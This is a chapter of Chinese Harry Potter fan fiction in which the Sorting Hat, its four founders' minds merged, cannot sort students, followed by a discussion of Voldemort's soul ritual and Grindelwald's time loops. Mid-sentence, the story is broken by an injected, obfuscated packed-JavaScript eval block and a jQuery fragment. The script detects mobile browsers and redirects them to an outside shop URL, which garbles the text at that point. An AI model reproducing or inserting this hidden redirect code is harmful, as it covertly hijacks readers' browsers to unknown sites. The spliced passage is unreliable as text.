哈利在霍格莫德村外的岔路口显形，顺着通往霍格沃兹大门的小路快步往上走。初秋的风已经带上了丝丝凉意，太阳还在头顶高高挂着，离晚宴开始的时间还早得很。
进入安静的城堡，他便沿着大理石楼梯一路向下，直奔地窖。可魔药学办公室房门紧闭，里面一丝光亮也没有。
他微微皱了下眉，转身朝大礼堂走去，可礼堂里同样空无一人。
早上斯内普用“院长事务”打发他时，哈利还以为那不过是个借口——毕竟，比起在国王十字车站和一大群韦斯莱及凤凰社成员寒暄，躲进霍格沃兹显然更符合斯内普的行事风格。现在看来，倒像是真的有事。
哈利总觉得自己好像忘了什么，可一时偏偏抓不住头绪，脑子里反倒先冒出在站台上从查理口中听来的几个零碎词——火龙、布斯巴顿、取消……三强争霸赛不会因为伏地魔的回归而停办了吧？
这么一想，他索性改了方向，朝校长办公室走去。正好，小天狼星那边的情况也该跟邓布利多说一声。
十分钟后，滴水嘴石兽在他报出口令后跳到了一边。哈利刚踏上缓缓上升的旋转楼梯，就隐约听见了上面传来了争论声。
隔着橡木门，那些声音本该模糊不清，可其中有一个他绝不会认错——
“……我坚决不同意。”
“可是西弗勒斯，这是学校最重要的仪式！”一个严肃的女声透着强烈的不赞同，一听就是麦格，“新生对学院的第一印象就来自这个晚上，你总不能让斯莱特林的孩子们觉得——”
“他们唯一需要觉得的，就是他们的院长还没有失去最后一点理智和尊严。”斯内普毫不留情地打断了她。
哈利在门外停住脚步，一时拿不准该不该推门进去。院长们显然都在里面，可他们到底在吵什么？
仪式？新生？斯莱特林的尊严？
下一秒，他差点笑出声来——他终于想起来自己忘了什么。
分院帽三年前因为不明原因着火烧坏了，两年前的分院仪式，四位院长不得不亲自上阵唱分院歌，并承担分院的职责。去年哈利不在场，但光听斯内普现在这语气，也知道他大概没能幸免。
难怪气成这样，该不会今年还得继续吧？
仿佛是为了印证他心里那个猜测，弗立维教授尖细的声音紧跟着响了起来。
“哦，往好处想，西弗勒斯！这可是展示学院精神的绝佳机会！去年的反响非常好，学生们都很期待今年的新歌——”
“我想我的记忆还算清晰，菲利乌斯，你口中的‘反响很好’，就是那些蠢货，用了整整一个学期的时间来模仿我唱歌。”
斯内普重重地哼了声，哪怕隔着一扇门，哈利都能毫无障碍地想象出他现在那副黑着脸的模样。
“如果你觉得那也算得上‘好’，不如立刻去校医院请庞弗雷夫人给你开一剂清醒剂，或者重新审视一下你对这个词的理解。”
“可是——”
“况且，你的任务不过是挥挥魔杖，把蜡烛摆出个好看的花样，而我——”
斯内普没来得及说完，办公室的门自己打开了。
里头的争论声戛然而止。邓布利多站在门边，湛蓝的眼睛从半月形镜片上方看着门外的哈利，脸上是一副十足愉快的神情，完全看不出刚才正在围观一场争执。
“下午好，哈利。你来得正是时候。”校长笑眯眯地侧开身子，“快进来吧。”
四位院长果然都在。麦格站在办公桌旁边，手里握着一卷羊皮纸，神情活像正在主持一场她自己也不太满意的会议，不过见哈利进来，她还是朝他点了点头。斯普劳特坐在福克斯栖木旁的椅子上，帽子歪了一点，朝哈利露出一个大大的笑容。弗立维教授则站在一张高脚凳上，大概是为了让自己看起来和大家差不多高。至于斯内普——哈利一进门，他反倒把身子转过去了，也不知是嫌被打断不高兴，还是单纯觉得刚才的窘境被撞了个正着，实在丢脸。
“哈利！”
弗立维在凳子上蹦了两下，快活得几乎像只弹起来的茶壶盖：“欢迎回来！见到你真是太好了！你不知道你不在的这一年——”他哀怨地朝斯内普的背影瞄了一眼，“决斗俱乐部简直办不下去了。西弗勒斯连助手都不肯当，莱姆斯又对决斗兴趣缺缺，我一个人得应付七个年级的学生，最后差点被一个二年级的咒语烧掉半边胡子，只好把活动停了。”
“够了，菲利乌斯。”
斯内普双手背在身后，依然连头都没回，可光是那一句称呼，就让办公室的温度骤降了好几度。
“如果你对保全另外半边胡子还抱有哪怕一丝微弱的留恋，就该明白，继续这个话题不是个好主意。”
弗立维明智地闭上了嘴，还下意识摸了摸自己两撇完好无损的小胡子。
“很高兴看到你的胡子最后还是保住了，菲利乌斯。”哈利往斯内普僵硬的背影瞥了一眼，强忍笑意把话题带过，“决斗俱乐部随时都能重新办起来，只要你还需要我。”
斯普劳特教授指了指旁边的一把扶手椅，“坐吧，哈利。要来杯红茶吗？”
哈利刚想说不用，目光却忽然落到了办公室正中间。
那里摆着一把三脚凳，上面搁着一顶破破旧旧、打满补丁的尖顶巫师帽。
“分院帽？”哈利惊讶地挑起眉毛，“它修好了？我还以为刚才你们在讨论——”
办公室里出现了一阵微妙的安静。几位院长的表情同时变得有些古怪，仿佛集体吞下了一颗耳垢味的比比多味豆。
“它是修好了，”麦格教授谨慎地说，“只不过——”
“情况稍微有些复杂。你可以亲自试试，哈利。”邓布利多已经回到办公桌后坐下，双手指尖对在一起，“我想，它大概有不少话想对你说。”
哈利带着几分狐疑走过去，拎起那顶脏兮兮的帽子，扣到自己头上。
“哈利·佩弗利尔。”一个带着古怪腔调的声音立刻在他脑海里响起，“我记得你。”
“你还记得我？”哈利在心里问。
“当然记得。”分院帽听起来显然很不高兴，“我还记得你上次对我的那些无端指控。虽然我必须承认，现在的我和那时相比，确实……有些不同了。”
“什么意思？”
“四位创始人的思想，”分院帽说，“那些被留在我脑袋里的东西——戈德里克的勇气，萨拉查的野心，罗伊纳的智慧，还有赫尔加的忠诚——以前全是分开的。就像四个房间，我可以开这一扇门，关那一扇门，然后决定一个学生该进哪一间。可现在……”
“现在不一样了吗？”哈利好奇地问。
“现在它们全混在一起了。我既是四个人，又不是他们之中的任何一个——不，我甚至超越了他们所有人。我现在拥有的是一千年来最完整的大脑！”
“听上去挺麻烦的。”哈利评价。
“这叫伟大而深奥的进化！”分院帽恼火地扭动了一下帽尖，“不过，有件事倒是没变——我依然找不到任何关于你的分院记忆。你从来没有坐在霍格沃兹的凳子上，由我来给你分院。这在一千年的校史里可是破天荒头一回。”
“既然你现在这么了不起，”哈利含含糊糊地把这个话题带过去，半是玩笑半是试探地问，“那你总能看出来，我到底该属于哪个学院吧？”
分院帽顿时充满自信地清了清嗓子：“让我瞧瞧——格兰芬多，毫无疑问。勇气、胆识、正义感，比我见过的大多数人都更强……”
“——不对。等一下。”
它的声音忽然急促起来：“赫奇帕奇的特质也非常鲜明……对朋友和家人毫无保留的忠诚……不，等一下，拉文克劳的……你脑子里的知识量不对劲！太多了，不像一个二十多岁的人该有的……还有斯莱特林！那种想要保护一切的欲望……不惜一切代价也要让事情按你的计划发展……这不对——哪里出问题了——”
哈利不由自主地屏住了呼吸。
而分院帽像是彻底乱了套，在四个学院之间来回横跳，语速越来越快，声音也越来越乱。
“你哪儿都像，你又哪儿都不像！”
它一下子泄气了，安静了好一会儿，才用一种困惑的语气小声说：“也许问题不在你身上。也许是我出了毛病。”
“一千年来，我从来没有分不出一个学生该去哪里。我可是戈德里克·格兰芬多的帽子！四位创始人亲手把他们的思想注入我的每一根线头里，赋予我分院的使命。如果我连把一个学生分进正确的长桌都做不到……”
“也许——”哈利刚想开口安慰两句，分院帽就打断了他。
“不——一定是你太复杂了！”分院帽瞬间推翻了自我怀疑，重新变得理直气壮起来，“问题绝对出在你身上！”
“当然。”哈利敷衍地应了声，把这顶强词夺理的帽子从头上摘了下来。
“它没法给我分院。”在几位院长探究的目光下，哈利把帽子放回三脚凳上，“四位创始人留下来的思想，好像已经在它脑子里彻底融成一团了。”
“果然还是不行。”斯普劳特叹气，“上学期末把它修好的时候，我们以为一切都解决了。结果它第一场测试，就是把西弗勒斯分到了格兰芬多。”
“当时西弗勒斯差点把它塞进壁炉。”弗立维小声补充，“我没见他那么气急败坏过。”
从某个角度来说，分院帽倒也不能算全错。这个念头刚在哈利脑子里冒出来，就被他费了好大力气压住，免得嘴角真的翘起来。
“情况就是这样。”麦格接过话头，“过去它能分院，是因为四套评判标准各自独立，只需要判断哪一种特质最鲜明。可现在，四套标准彻底混到了一起，它同时看到一个人身上所有学院的品质，反而没法做出选择了。”
“或许这不是什么坏事，米勒娃。”邓布利多平静地说，“也许它只是终于看到了一个我们一直忽略的事实——每个人的灵魂里本来就同时存在着勇敢、忠诚、智慧和野心。过去的它，不过是被设计成从中挑出最显眼的那一个而已。”
“可如果情况持续下去，”麦格忧心忡忡地看向邓布利多，“今后的分院恐怕只能完全交到院长手里。可单凭我们的主观判断，谁又能保证每一次选择，都像创始人留下的标准那样公正和准确呢？”
“少来糊弄我！”分院帽尖声嚷了起来。
办公室里所有人的目光都集中到它身上。
“我是霍格沃兹分院仪式的灵魂！”分院帽在凳子上气呼呼地抖动着，“一千年来我从未失职！我绝不会——绝不会——从这项伟大的仪式中被踢出去！”
“没有人要把你踢出去。”邓布利多安抚道。
“我要求绝对的参与权！我是霍格沃兹传统的守护者！”
“我们已经讨论过备用方案了，帽子先生。”麦格教授用手里的羊皮纸卷敲了敲桌面，显然对这场对话已经有些不耐烦，“不是已经按照你的要求排练——”
“我们都非常尊重你。”邓布利多抬手打断了麦格，“这也正是为什么，我们希望由你来指导分院仪式。毕竟，你是唯一有资格站在那个位置上的人。”
分院帽停止了抖动。
麦格张了张嘴，似乎很想指出它并不是“人”，但看了看邓布利多的表情，还是把话咽了回去。
“分院歌由你来创作，整场仪式的编排和流程，也全权交给你负责。”邓布利多继续说道，“至于实际分院的部分，仍由四位院长来执行——”
“绝对不行！”分院帽一下子又炸了，“分院是我的——”
“——但整场仪式的总指挥，”邓布利多的声音恰到好处地盖过了帽子的抗议，“是你。”
分院帽沉默了几秒。它那道裂缝般的嘴飞快地开合了两下，仿佛在脑子里权衡着这个条件。
“所有环节都听我的？”分院帽问，语调里的愤怒已经被热切悄悄替换了。
“所有的。”
“院长们都得照着我的剧本演？”
“在合理范围内。”麦格飞快地插了一句。
“可刚刚好像有人一点也不肯配合。”分院帽逮住机会大声控诉。
“哦，我想他只是一时害羞。”邓布利多意味深长地瞥了眼斯内普，微笑着说，“院长们会全力配合你的安排。”
斯内普喉咙里发出一声怪响，仿佛刚刚吞下了一整条弗洛伯毛虫。
“今年的分院仪式，”分院帽的声音越来越高昂，“将是霍格沃兹有史以来最壮观的一次！我要聚光灯——四束聚光灯——每位院长一束！还要魔法烟火——不不不，这个太俗气了，我要每个学院的品质都在仪式中闪闪发光——”
“这就是西弗勒斯一直在说‘坚决不同意’的原因？”哈利偏过头，小声问弗立维。
“唱歌他忍了两年。”弗立维同样压低声音，“今年分院帽非要加上表演。”
“排练！”分院帽高声宣布，打断了他们的窃窃私语，“今天下午必须加练！学生们傍晚就要到了，我们只剩下几个小时——”
弗立维教授满脸笑容地向哈利发出邀请：“要不要来看看我们的排练，哈利？我们得赶在火车到达前走完一遍流程。”
“分院仪式是院长事务。”没等哈利开口，斯内普已经冷冷插了进来，“不适合无关人士旁观。”
办公室里几道目光又同时转向了他。
邓布利多慢悠悠地摘下眼镜，从长袍里摸出一块绒布，仔仔细细擦了起来。
“你说得很有道理，西弗勒斯。”他把镜片举到窗外透进来的光线里看了看，“不过我记得上一学年的分院仪式——也就是哈利不在的那一回——你一共把分院帽扔出礼堂四次，对菲利乌斯用了三次消音咒，强行改了两版歌词，还曾在众目睽睽之下宣布，如果当年分院帽没有着火，你根本不必忍受这一切荒唐事。”
他重新把眼镜架回鼻梁上，蓝眼睛透过镜片看向斯内普。
“当然，那都是过去的事了。我只是忍不住感慨一个有趣的巧合——今年虽然你依然在抱怨，但配合的意愿似乎比去年高了那么一点。”他说着，用拇指和食指比了个几乎看不见的距离，语气轻快极了，“至少到目前为止，分院帽还好端端地待在凳子上。真好奇是什么让我们的斯莱特林院长突然多了这份难得的耐心。”
斯内普的嘴唇抿紧了。
一旁，斯普劳特教授非常刻意地端起茶杯喝了一大口。弗立维干笑着打圆场：“多一个人盯着总是好的，万一有什么需要调整的地方——”
“我很乐意帮忙看看排练效果，”哈利装作没看见屋里那一圈心照不宣的眼神，顺手替斯内普解了围，“不过，我有几件事得先跟你谈谈，阿不思。”
“当然，当然。”弗立维从凳子上跳了下来。
麦格教授一把拎起还在喋喋不休的分院帽，和另外两位院长一起朝门口走去。
“西弗勒斯，请你留下。”邓布利多在他们出门前轻声说道。
斯内普原本已经转过去一半的身子顿时停住。
“三点整，在礼堂集合！”分院帽在麦格怀里高声宣布，帽檐还特地朝斯内普的方向用力抖了两下，“不——准——迟——到！”
伴随着关门声，栖息架上的福克斯低低鸣叫一声，仿佛在宣布那场滑稽的闹剧总算结束了。它抖了抖尾羽，从栖架上振翅飞下来，稳稳落在哈利的肩膀上。
哈利抬手摸了摸它光滑的颈羽。凤凰发出一串心满意足的颤音，偏过脑袋，在他手指上亲昵地蹭了蹭。
墙上的画像们都醒着。几位前任校长靠在画框边上，个个都摆出一副昏昏欲睡的模样，可惜耳朵的方向把他们全出卖了——一个个都朝着屋子正中竖得笔直。菲尼亚斯·布莱克甚至没费心假装，双手撑在画框边沿，整个上半身都快探出来了。
邓布利多朝墙上扫了一眼。画像们纷纷发出夸张的鼾声，菲尼亚斯咕哝了一句“我本来也没想听”，这才不情不愿地缩了回去。
两把扶手椅从角落里飞过来，一左一右停在办公桌前。柜门弹开，茶壶和茶杯接二连三跳出来，开始往杯子里倒茶。
“坐吧。”邓布利多示意，“西弗勒斯，你可以在心里继续诅咒那顶帽子，不过最好先坐下。”
斯内普对这句调侃毫无表示，只冷着脸坐了下来。哈利在他旁边落座，顺手接过飘到自己面前的茶杯。
“小天狼星那边怎么样？”邓布利多切入了正题。
“反咒方案昨天已经交给他了。”哈利一边说，一边把福克斯搭在自己领口扣子上的爪子轻轻拨开，“他同意先在傲罗内部测试定神咒。如果效果稳定，就去说服伯恩斯部长，把它推广到整个魔法部。”
“咒语本身不会有问题。”斯内普冷淡地插了句，“至于那群傲罗能不能学会，就得看布莱克有没有那个本事了。”
哈利只是耸了耸肩。福克斯显然觉得这场谈话乏味透顶，展翅又飞回了自己的栖架。
“小天狼星还打算借这个机会做一次内部排查。施展不出守护神的人，都会被重点盯住。”
哈利嘴上说着守护神，脑子里却不受控制地闪过了小天狼星在破釜酒吧说过的那句话——如果斯内普中了腐情咒，血盟根本挡不住他。
他把这个念头压了下去，就像早晨在餐桌边对莉莉时那样。
“早期中咒的人，也许还能勉强召出守护神。”他把目光重新落回邓布利多身上，“所以一次排查不可能把所有隐患都清干净。可现在魔法部已经够乱了，小天狼星每天光是处理那些‘疑似腐情咒’的报案，就快焦头烂额了。”
“我不认为魔法部内部中咒的人会很多。”邓布利多把茶杯轻轻放回碟子里，“人数一多，就太容易暴露。伏地魔不会犯这种粗浅的错误。真正让我担心的，是接下来会发生的事——整个魔法界都在看我们怎么应对，什么都不做会助长恐惧，做得太多又难免引发猜忌。”
哈利皱起眉头，往前倾了倾身子：“那三强争霸赛还继续吗？我刚才在站台听查理提到布斯巴顿和取消——”
伏地魔既然已经公开复出，这种时候把全欧洲的目光和另外两所学校的学生都聚集到霍格沃兹，几乎等于在黑夜里点起了一支巨大的火炬。
“马克西姆夫人确实来了信。”邓布利多说，“她以学生安全为由，要求取消或延期。她的担忧完全可以理解。事实上，我正准备亲自去一趟布斯巴顿，和她面对面地谈一谈，确保代表团能如期抵达。”
老校长的语气稍微松快了一点：“如果我们现在宣布取消，卢多·巴格曼恐怕会直接在魔法体育司的办公室里痛哭流涕。他昨天才派猫头鹰给我送来了一大堆纪念品——那些会喊口号的徽章吵得福克斯差点拔了自己的尾羽。”
哈利笑了一下，但他很清楚，邓布利多执意推进赛事，绝不是因为那几个纪念徽章和巴格曼的眼泪。
“伏地魔不可能放过这样的机会。”他直视着邓布利多的眼睛，“他上一次就是这么干的。火焰杯被做了手脚，小巴蒂·克劳奇把我的名字投了进去，就是为了把我单独带离霍格沃兹。”
斯内普极快地看了他一眼。
“正因如此，哈利。”邓布利多收起了笑意，“他不会因为我们把城堡大门关上，就放弃阴谋。这一点，你比任何人都更明白。与其让他躲在暗处挑选战场，谋划一场我们毫不知情的袭击，不如由我们亲手把舞台搭起来。”
哈利沉默了一会儿。邓布利多说得没错。他经历过那场战争的全部，比任何人都清楚一味退守只会让伏地魔掌握更多主动权。可与此同时，他脑海里也闪过了另一张脸——一个十七岁的男孩，倒在墓地冰冷的草地上。
“我同意你的判断。”他开口时语气很平静，却没有半点退让的余地，“但不管比赛怎么安排，学生的安全都必须排在第一位。第一位，阿不思。不能有第二个塞德里克。”
邓布利多看着他，缓缓点了点头。
“不会有的。三强争霸赛将成为我们的防线，让所有可能发生的变故，都暴露在我们的视线之内。这也是我必须亲自去见马克西姆夫人的原因。”
他停顿了一下，补充道，“而且，德姆斯特朗新校长已经明确表态会带队参加。”
斯内普目光微微一动：“卡卡洛夫死在黑魔王手里的消息，世界杯之后就已经传开了。”
邓布利多微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386986|180577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微颔首：“格里戈里·德拉科米列夫的态度很明确，他不会让一个叛徒前校长的下场，成为德姆斯特朗退缩的理由。”
说到这里，他转向斯内普，神情变得更加凝重：“那么，溶剂的进度如何了，西弗勒斯？”
“已经到最后阶段了。”斯内普微微抿了下唇，声音也随之压低，“接下来几天，我需要频繁回去盯着药水的反应。溶剂本身不是问题，真正的问题在于亲族弑者之血——到现在为止，黑魔王仍没有透露他打算怎么取得它。”
亲族弑者之血，是灵魂重铸仪式最后一道催化剂。伏地魔声称已经找到了“完美人选”，但至今没有告诉任何人那个人是谁。
杀死至亲之人，还要怀揣着最纯粹的恨意——而腐情咒恰好能制造出这样的人。哈利不愿意继续往下想。
办公室里陷入了短暂的沉默。
“一旦灵魂重铸仪式成功，”邓布利多慢慢说，“我们将面对一个真正回到力量巅峰的伏地魔。灵魂的撕裂在赋予他不死能力的同时，也一直在削弱他的力量。这原本就是一把双刃剑——分裂得越碎，他就越不完整。可一旦那些残缺的部分被重新熔铸合一，这种削弱就会被彻底抹去。”
“恐怕真正可怕的还不止于力量。”斯内普冷冷接道，漆黑的目光落到哈利脸上，“那些记忆碎片让他避开了你记忆里犯过的错误。再加上十几年的蛰伏——现在的黑魔王，甚至学会了耐心和隐忍。”
哈利垂下眼帘，盯着桌面上的木纹。
斯内普说得对，现在的伏地魔确实更强大、也更谨慎了，天才如他，甚至能创造出腐情咒这种从内部瓦解一切的黑魔法。
可有些东西，再多记忆也改变不了。
“他确实比我曾经面对过的那个更强。”哈利重新抬起头，绿眼睛里没有丝毫退意，“但他最大的弱点从来都没有变过——他不相信爱，不理解爱，更不会相信有人会因为爱去做出他永远算不到的事。他费尽心思创造腐情咒，恰恰说明他从心底里害怕这个。”
他看了斯内普一眼，又把视线转回邓布利多。
“我打败过他一次，靠的从来不是比他更强的魔法。何况这一次，我们手里还有他不知道的东西。”
邓布利多注视了他片刻，眼角的皱纹慢慢舒展开来。
“你说得对，哈利。”
他重新端起茶杯，发现已经空了。茶壶又飘过来给他续了一杯。
“伏地魔确实是我们目前必须直面的风暴。”老校长捧着茶杯，凝视着袅袅升起的热气，“但我现在最担心的，反倒是另一个完全游离在我们视线之外的变数——格林德沃那边，还是一点新消息也没有吗？”
哈利摇了摇头。自从格林德沃把那个不流动的沙漏，以及写着“时间一直在流动”的纸条交给泰迪后，就再也没有半点音讯了。一想起寻找时间圣器的事毫无进展，他心里就不由得一阵烦躁。
似乎是看出了哈利的心思，邓布利多轻轻叹了口气。
“我欠你们一些解释。”
哈利和斯内普同时看向他。
“上次从水晶温室出来，我没有把我和雅克的对话全部告诉你们。”邓布利多语气坦然，“请原谅一个老人过于谨慎吧。当时，我从交谈里得知了缪丝最后的结局，心中生出了一个……相当可怕的猜测。在没有足够把握之前，我不愿意把它贸然说出口，平白增加你们的负担。但这段时间以来，我反复想过，也反复印证过。到现在，我几乎已经可以确定了。”
哈利和斯内普交换了一个眼神，都从对方眼底看到了一模一样的凝重。能让邓布利多用上“可怕”这个词，接下来要说的事，多半足以颠覆他们目前的认知。
邓布利多坐直了一点，双手交叠放在桌面上。
“缪丝的八音盒落到了格林德沃手里，这一点我们早就知道。”他缓缓说道，“我之前便有一个猜想，只是始终没有证据。现在，结合雅克告诉我的那些细节，我几乎可以断定——格林德沃也借助八音盒进行了时间循环，而且次数远远超出我们的想象。也许是几十次，也许……上百次。”
哈利不禁坐直了身子。和格林德沃打了几次交道，那种念头曾在他脑子里模模糊糊地闪过。但此刻听邓布利多亲口说出来，他的内心依然感受到无比的震撼。
每一次循环，都是五十年。
不——也不一定是完整的五十年。格林德沃完全可以回到那段岁月中的任何一个节点，从那里开始，活到世纪末，再回到起点，然后重新来一遍。
而就在那一瞬间，哈利忽然意识到一件更令人毛骨悚然的事。
当时间重置，循环回到起点的那一刻，纽蒙迦德那间狭窄的牢房里，必然会有一个“过去的格林德沃”在等着他。
同一时空无法容纳两个相同的灵魂——格林德沃用最简单、最冷酷的方式解决了这个问题。
如果他真的循环了几十次，甚至上百次……那就意味着，在那间与世隔绝的监狱里，他曾经一次又一次举起魔杖，杀死另一个自己。
光是想象那个画面，就足够让人头皮发麻。
“可缪丝和格林德沃之间，有一个根本的区别。”邓布利多继续说道，“缪丝在每一次循环里，都只是旁观。她看着母亲死去，一遍又一遍，却从来没有试图去改变什么。”
窗外的阳光斜照进来，在他半月形的镜片上折射出一道反光，彻底遮住了他眼底的情绪。
“格林德沃不是这样的人。”
“他绝不可能坐在纽蒙迦德的牢房里，安安静静地活五十年，看着一切按原样发生，再顺从地回到起点。那不是盖勒特·格林德沃会做的事。每一次循环里，他一定都做过什么——改变了什么。也许是一个决定，也许只是一次接触，也许……”
邓布利多听了一下：“……是一封信。”
“一封信！”哈利猛然睁大了眼睛，脱口而出。
那封用邓布利多笔迹写给格林德沃的信，曾经让他陷入过极大的自我怀疑。
邓布利多看着他：“你想到了。”
见斯内普不解地皱起眉头，邓布利多索性拉开抽屉，找出那张皱巴巴的羊皮纸递了过去。
斯内普狐疑地接过信，目光快速扫过上面那一行行流畅的花体字。但当他看到“1981年”、“哈利·波特和纳威·隆巴顿的死亡”时，眉头猛地皱紧，抬起头看向邓布利多的眼神里多了几分审视和警惕。
“这上面的笔迹……”他干涩地说，“这是……”
“我依然坚持我最初的说法，我从未写过这封信。”邓布利多轻声说，“但现在看来，既然时间经历了那么多次循环——旧的历史被抹去，新的历史一再开始——这封信，极有可能确实出自某一个‘阿不思·邓布利多’之手。”
他垂下目光，看着自己的指尖：“在某一段已经被覆盖的时间里，‘我’显然选择过和盖勒特站在一起。”
办公室忽然变得极为安静。
“但真正让我在意的，”邓布利多再开口时，语气更沉了几分，“是另外一件事。如果格林德沃在每一次循环中都主动干预过历史——哪怕只是一次极微小的改动，那么每一次改动，都会在时间上留下无法磨灭的痕迹。”
哈利一下子明白了：“时间裂缝。”
“对。”邓布利多点了点头，“我们一直想不明白，虽然你和泰迪的穿越造成了一次横跨十二年的重大时间覆盖，但单靠那一次时间跳跃，其实还不足以让时间恶化到濒临崩塌的程度。可如果是格林德沃在过去的几十年里，反复搅动同一段历史，每一次都在原有的伤口上撕开一道新的裂缝……”
“那时间裂缝为什么会不断恶化，就有了最合理的解释。”斯内普眼睛微微眯起来，毫不掩饰语气里的恶毒与嘲讽，“原来那个疯子把时间捅成了一个千疮百孔的马蜂窝，而我们不仅被蒙在鼓里，还得像一群家养小精灵一样替他收拾残局。”
哈利脱力般地靠向椅背，喃喃自语：“可他为什么要这么做？一次次改写时间，一次次承受那种折磨……到底是为了什么？”
“这正是我目前唯一想不通的地方。”邓布利多没有继续往下说。
哈利也没有追问。谁都不愿意去想象，在某段被遗忘的时间里，自己究竟做过怎样的选择。
他忽然想起丽塔·斯基特那本传记里写到的——年轻时的邓布利多和格林德沃之间“关系并不一般”。如果格林德沃真的循环了上百次，而每一次循环里都有一个邓布利多……那么他们之间究竟发生过什么纠葛，也许连坐在这里的邓布利多自己，也无从知晓。
斯内普霍然起身，不耐烦地打破了沉寂。
“既然那个疯子还能往外传递消息，就说明他暂时死不了。”他看都不看邓布利多一眼，转身便朝门口走去，“我们还有的是时间慢慢拆穿他的把戏。真要到了时间非崩塌不可的那一步，我只能向梅林祈祷，那个裂缝能先把那顶该死的破帽子吞进去。至于现在——”
他黑袍一甩，声音里满是厌恶。
“——我得去礼堂了。还有一场无聊透顶的闹剧在等着我。”
哈利原本沉重的心情，硬生生被他这副如临大敌的模样给冲淡了不少。他转过头，冲着斯内普黑袍翻滚的背影扬声喊道：“真的不需要我陪你一起去排练吗，斯内普教授？我保证只在台下看，绝不鼓掌。”
斯内普已经走到了门边，闻言停住脚步，微微偏过头。他漆黑的长发垂在脸颊两侧，声音冷得能掉下冰渣：“今晚的开学晚宴上，你自然可以慢慢欣赏最终成品。当然，如果你已经迫不及待，想提前观赏我被一顶帽子呼来喝去的屈辱场面——那就随你。”
说完，他不等哈利回答，一把拉开橡木门，大步流星地走了出去。门在他身后砰地合上。
邓布利多俏皮地朝哈利眨了眨眼。
哈利终于忍不住大笑出声，伏地魔和格林德沃都被抛到了脑后。他舒舒服服地往椅背上一靠，开始认真琢磨今晚到底会是怎样一副场面——
不就是分院歌吗？前两年院长们也被迫硬着头皮唱过了。就算今年再加上一点魔法特效，以斯内普那样的性格，分院帽还能逼他做出多夸张的事来？